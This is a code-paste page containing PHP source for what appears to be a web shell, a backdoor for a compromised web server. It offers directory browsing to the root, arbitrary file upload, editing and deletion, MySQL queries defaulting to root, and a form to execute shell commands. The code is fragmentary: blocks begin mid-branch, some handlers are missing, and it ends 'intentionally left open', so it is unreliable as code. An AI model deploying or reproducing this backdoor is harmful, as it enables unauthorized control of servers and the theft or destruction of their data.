ddd, Php - rextester

Language: Layout:

<?php 
//Will come back!
function isLinux($path) 
{ 
    return (substr($path,0,1)=="/" ? true : false); 
} 
function getSlashDir($isLinux) 
{ 
    return($isLinux ? '/' : '\\'); 
} 
//See if we are on Linux or Windows becuase the paths have to be processed differently 
$cwd=getcwd(); 
$isLinux=isLinux($cwd); 
if(!$isLinux) 
{ 
    $driveLetter=substr($cwd,0,1); 
} 
$slash=getSlashDir($isLinux); 
$parts=explode($slash,$cwd); 
$rootDir=($isLinux ? $slash : ($driveLetter . ':' . $slash));

if(move_uploaded_file($_FILES['file_name']['tmp_name'], $target_path)) { 
                setcookie("uploadDir",""); 
                echo "The file ".  basename( $_FILES['file_name']['name']).  
                " has been uploaded"; 
            }  
            else 
            { 
                echo "Error copying file, likely a permission error."; 
            } 
        } 
    } 
    else 
    {        
        ?> 
        <form target="_blank" action="" method="GET"> 
            <input type="hidden" name="cc" value="1" /> 
            Submit this form before submitting file (will open in new window):<br /> 
            Upload Directory: <input type="text" name="dir" value="<?php echo $_REQUEST["dir"] ?>"><br /> 
            <input type="submit" value="submit" /> 
        </form> 
        <br /><br /> 
         
        <form enctype="multipart/form-data" action="" method="post"> 
        Upload file:<input name="file_name" type="file"> <input type="submit" value="Upload" /></form>

<?php 
    } 
} 
elseif(isset($_REQUEST['cc'])) 
{ 
    setcookie("uploadDir",$_GET["dir"]); 
    echo "You are OK to upload the file, don't upload files to other directories before completing this upload.";
} 
elseif(isset($_REQUEST['mquery'])) 
{ 
    $host=$_REQUEST['host']; 
    $usr=$_REQUEST['usr']; 
    $passwd=$_REQUEST['passwd']; 
    $db=$_REQUEST['db']; 
    $mquery=$_REQUEST['mquery']; 
    @mysql_connect($host, $usr, $passwd) or die("Connection Error: " . mysql_error()); 
    mysql_select_db($db); 
    $result = mysql_query($mquery); 
    if($result!=false) 
    { 
        echo "<h2>The following query has sucessfully executed</h2>" . htmlentities($mquery) . "<br /><br />"; 
        echo "Return Results:<br />"; 
        $first=true; 
        echo "<table border='1'>"; 
        while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) 
        { 
            if($first) 
            { 
                echo "<tr>"; 
                foreach($row as $key=>$val) 
                { 
                    echo "<td><b>$key</b></td>"; 
                } 
                echo "</tr>"; 
                reset($row); 
                $first=false; 
            } 
            echo "<tr>"; 
            foreach($row as $val) 
            { 
                echo "<td>$val</td>"; 
            } 
            echo "</tr>"; 
        } 
        echo "</table>"; 
        mysql_free_result($result); 
    } 
    else 
    { 
        echo "Query Error: " . mysql_error(); 
    } 
} 
elseif(isset($_REQUEST['df'])) 
{ 
    $_REQUEST['df'] .= $slash . $_REQUEST['file']; 
    if(@unlink($_REQUEST['df'])) 
    { 
            echo "File deleted"; 
    } 
    else 
    { 
            echo "Error deleting file"; 
    } 
} 
elseif(isset($_REQUEST['ef'])) 
{ 
?> 
<script type="text/javascript"> 
  <!--

var key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

function encode64(inpStr)  
  { 
     inpStr = escape(inpStr); 
     var output = ""; 
     var chr1, chr2, chr3 = ""; 
     var enc1, enc2, enc3, enc4 = ""; 
     var i = 0;

do { 
        chr1 = inpStr.charCodeAt(i++); 
        chr2 = inpStr.charCodeAt(i++); 
        chr3 = inpStr.charCodeAt(i++);

enc1 = chr1 >> 2; 
        enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); 
        enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); 
        enc4 = chr3 & 63;

if (isNaN(chr2))  
        { 
           enc3 = enc4 = 64; 
        }  
        else if (isNaN(chr3))  
        { 
           enc4 = 64; 
        }

output = output + 
           key.charAt(enc1) + 
           key.charAt(enc2) + 
           key.charAt(enc3) + 
           key.charAt(enc4); 
        chr1 = chr2 = chr3 = enc1 = enc2 = enc3 = enc4 = ""; 
     } while (i < inpStr.length);

return output; 
  }

//--></script>

<?php 
    $_REQUEST['ef'] .= $_REQUEST['file'];  
    if(isset($_POST["newcontent"])) 
    { 
        $_POST["newcontent"]=urldecode(base64_decode($_POST["newcontent"])); 
        $stream=@fopen($_REQUEST['ef'],"w"); 
         
        if($stream) 
        { 
            fwrite($stream,$_POST["newcontent"]); 
            echo "Write sucessful"; 
        } 
        else 
        { 
            echo "Could not write to file"; 
        } 
        fclose($stream); 
    } 
    ?> 
    <form action="" name="f" method="POST"> 
    <textarea wrap="off" rows="40" cols="130" name="newcontent"><?php echo file_get_contents($_REQUEST['ef']) ?></textarea><br /> 
    <input type="submit" value="I base64 encoded it myself, dont run script" /><br /> 
    <input type="submit" value="Change (requires javascript to work)"  onclick="document.f.newcontent.value=encode64(document.f.newcontent.value);" />
    </form> 
    <?php 
} 
else 
{ 
?> 
<b>Server Information:</b><br /> 
<i> 
Operating System: <?php echo PHP_OS ?><br /> 
PHP Version: <?php echo PHP_VERSION ?><br /> 
<a href="?phpinfo=true">View phpinfo</a> 
</i> 
<br /> 
<br /> 
<b>Directory Traversal</b><br /> 
<a href="?d=<?php echo getcwd() ?>"><b>Go to current working directory</b></a> <br /> 
<a href="?d=<?php echo $rootDir ?>"><b>Go to root directory</b></a> <br /> 
<b>Go to any directory:</b> <form action="" method="GET"><input type="text" name="d" value="<?php echo $rootDir ?>" /><input type="submit" value="Go" /></form>

<hr>Execute MySQL Query: 
<form action="" METHOD="GET" > 
<table> 
<tr><td>host</td><td><input type="text" name="host"value="localhost"> </td></tr> 
<tr><td>user</td><td><input type="text" name="usr" value="root"> </td></tr> 
<tr><td>password</td><td><input type="text" name="passwd"> </td></tr> 
<tr><td>database</td><td><input type="text" name="db"> </td></tr> 
<tr><td valign="top">query</td><td><textarea name="mquery" rows="6" cols="65"></textarea> </td></tr> 
<tr><td colspan="2"><input type="submit" value="execute"></td></tr> 
</table> 
</form> 
<hr> 
<pre><form action="" METHOD="GET" >Execute Shell Command (safe mode is <?php echo (@ini_get('safe_mode') ? 'on' : 'off') ?>): <input type="text" name="c"><input type="submit" value="Go"></form>  
<?php 
} 
//Intentionally left open to avoid output the file download function 1

[ + ] Show input
Absolute running time: 0.32 sec, cpu time: 0.07 sec, memory peak: 25 Mb, absolute service time: 0,44 sec